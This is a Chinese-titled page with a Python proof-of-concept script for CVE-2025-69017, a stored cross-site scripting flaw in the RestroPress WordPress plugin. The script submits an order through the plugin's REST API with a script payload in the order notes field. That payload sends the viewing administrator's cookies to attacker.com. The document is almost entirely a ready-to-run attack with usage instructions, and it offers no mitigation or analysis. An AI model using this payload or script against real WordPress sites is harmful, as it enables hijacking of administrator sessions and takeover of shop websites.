CVE-2025-69017 RestroPress存储型XSS跨站脚本漏洞

import requests import sys # CVE-2025-69017 PoC - RestroPress Stored XSS # Target: WordPress site with RestroPress plugin <= 3.2.8.6 def exploit_stored_xss(target_url, vulnerable_field='order_notes'): """ Exploit stored XSS in RestroPress plugin Args: target_url: Base URL of WordPress site vulnerable_field: Field to inject XSS payload (order_notes, customer_name, etc.) """ # XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # WordPress REST API endpoint for RestroPress orders api_endpoint = f"{target_url}/wp-json/restropress/v1/orders" # Order data with XSS payload order_data = { "customer_name": "Test Customer", "customer_email": "[email protected]", "customer_phone": "1234567890", "delivery_address": "123 Test Street", "order_notes": xss_payload, # XSS injection point "payment_method": "cod", "order_total": "25.99" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Submit order with XSS payload response = requests.post(api_endpoint, json=order_data, headers=headers, timeout=10) if response.status_code in [200, 201]: print("[+] Order submitted with XSS payload successfully") print(f"[+] Payload stored in: {vulnerable_field}") print("[+] XSS will execute when admin views order in dashboard") return True else: print(f"[-] Failed to submit order. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-69017-poc.py <target_url>") print("Example: python cve-2025-69017-poc.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_stored_xss(target)